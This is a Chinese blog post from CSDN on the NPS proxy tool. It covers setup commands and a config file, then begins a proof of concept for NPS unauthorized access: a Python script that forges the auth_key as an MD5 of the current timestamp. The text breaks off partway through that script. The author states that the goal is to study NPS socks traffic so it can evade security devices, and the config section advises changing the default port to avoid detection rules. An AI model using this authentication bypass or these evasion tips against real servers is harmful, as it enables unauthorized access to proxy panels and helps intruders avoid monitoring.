NPS之Socks流量分析以及未授权复现

最新推荐文章于 2024-09-20 23:30:00 发布

AIGC_Allen

最新推荐文章于 2024-09-20 23:30:00 发布

阅读量547

点赞数

文章标签： ubuntu 服务器运维

本文链接：https://blog.csdn.net/text2206/article/details/128919878

版权

本文介绍了NPS未授权复现的过程，包括环境设置、POC验证、修复措施，并详细探讨了socks流量分析，涉及版本校验、数据加密和安全设备告警规避。此外，提供了网络安全学习资源。

摘要由CSDN通过智能技术生成

前言

因为想要写一个socks的流量算法去绕过安全设备，所以这里对nps的流量特征总结一下，方便自己后期的魔改。

环境

ubuntu 16.04 vps server

windows server 2012R2 clinet

mkdir nps  
cd nps  
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz  
tar -zxvf linux_amd64_server.tar.gz  
./nps install

cd /etc/nps/conf/  
vim nps.conf

配置文件

#web  
web_host=a.o.com  
web_username=xxxx    //管理端用户名  
web_password=xxxxxx  //管理端密码  
web_port = xxxxx     //管理端端口  
web_ip=0.0.0.0  
web_base_url=  
web_open_ssl=false  
web_cert_file=conf/server.pem  
web_key_file=conf/server.key  
#web_base_url=/nps

##bridge  
bridge_type=tcp   //客户端连接协议tcp  
bridge_port=xxxx  //客户端连接端口  
bridge_ip=0.0.0.0

bridge_port的默认端口默认为8024，这里不建议改为默认的，连接客户端的时候可能会触发安全设备规则

NPS未授权复现

POC

#encoding=utf-8  
import time  
import hashlib  
now = time.time()  
m = hashlib.md5()  
m.update(str(int(now)).encode("utf8"))  
auth_key = m.hexdigest()  
  
print("Index/Index?auth_key=%s&timestam